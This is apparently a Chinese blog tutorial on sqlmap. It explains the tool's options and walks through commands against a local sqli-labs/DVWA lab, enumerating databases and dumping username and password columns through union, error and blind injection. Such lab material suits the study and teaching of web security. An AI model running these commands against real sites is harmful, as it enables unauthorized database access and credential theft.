Sqlmap使用教程

实验环境

windows10+python3.9+sqlmap+sqli2

sqlmap常见指令

sqlmap常用参数:

目标:必须得有

-u : 指定目标URL,sql注入点

请求:

这些选项可用于指定如何连接到目标URL
–data=DATA 数据字符串通过POST发送
–cookie=“COOKIE” HTTP Cookie的值
–random-agent 随机选择 HTTP User-Agent 头的值
–proxy=PROXY 使用代理去连接目标URL
–tor 使用匿名网络
–check-tor 检查Tor是否正确使用

注入:

这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本
-p TESTPARAMETER 可测试的参数
–dbms=DBMS 将后端DBMS强制到此值

检测:

这些选项可用于定制检测阶段
–level=LEVEL 执行的测试级别(1-5, 默认 1)
–risk=RISK 执行测试的风险 (1-3, 默认 1)

技术:

这些选项可用于调整特定SQL注入的测试的技术
–technique=TECH SQL注入技术选择 (默认 “BEUSTQ”)

参数 --technique 此参数用于指定检测注入时所用技术。
默认情况下Sqlmap会使用自己支持的全部技术进行 检测。
此参数后跟表 示检测技术的大写字母,其值为B、E、U、S、T或Q,含义如下:
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
可以用“–technique ES”来指定使用两种检测技术。“–technique BEUSTQ”与默认情况等效。

枚举:

T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
-a, --all 检索全部
-b, --banner 检索 banner
–current-user 检索当前用户
–current-db 检索当前数据库
–passwords 列出用户密码的hash值
–tables 列出表
–columns 列出字段
–schema 列出DBMS schema
–dump Dump DBMS数据库表的条目
–dump-all Dump 所有DBMS数据库表的条目
-D DB 指定数据库
-T TBL 指定表
-C COL 指定字段

操作系统访问:

这些选项可用于访问后端数据库管理系统底层操作系统
–os-shell 提示为交互式操作系统shell
–os-pwn 提示为OOB外壳,Meterpreter或VNC

通用:

这些选项可用于设置一些通用的工作参数
–batch 永远不要要求用户输入,使用默认行为
–flush-session 刷新当前目标的会话文件

杂项:

–sqlmap-shell 提示输入交互式sqlmap shell
–wizard 初学者的简单向导界面

命令使用篇

获取当前靶场全部数据库

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-1/?id=1 --dbs

获取当前靶场数据库

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-1/?id=1 --current-db

查找数据库dvwa里面的所有表(我这里也安装了dvwa)

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-3/?id=1 -D dvwa --tables

查找dvwa数据库里面的user表里面有哪些列

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-3/?id=1 -D dvwa -T users -columns

获取dvwa数据库中的users表中的user列中的内容

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-4/?id=1 -D dvwa -T users -C user --dump

实战篇

–threads(多线程工具)

查看数据库名称且指定数据库类型为mysql 指定注入手段 联合查询加上报错注入

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-7/?id=1 --technique UE --dbms mysql -dbs --batch

爆出security中所有表名

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-7/?id=1 --technique UE --dbms mysql -D security --tables --batch

爆出users表中的所有字段

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-8/?id=1 --technique UE --dbms mysql -D security -T users --columns --batch

爆出用户信息

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch

布尔盲注/时间盲注

布尔盲注

爆破出所有数据库

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-8/?id=1 --technique B --dbms mysql --dbs --batch --threads 10

时间盲注

爆破出所有数据库

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-9/?id=1 --technique T --dbms mysql -D security --tables --batch

这个是sqli2第10关

python sqlmap.py -u http://192.168.2.25/web/sqli2/Less-10/?id=1 --dbms mysql --dbs --batch --threads 10 -level 5 -risk 3

-r

或者使用burp工具抓请求头

第20关

注意把难度调到level5 risk 3

版权声明:
作者:筱鑫
链接:https://blog.cmkjiot.com/archives/341
来源:IBLOG
文章版权归作者所有,未经允许请勿转载。

THE END
分享
二维码
< <上一篇
下一篇>>
文章目录
关闭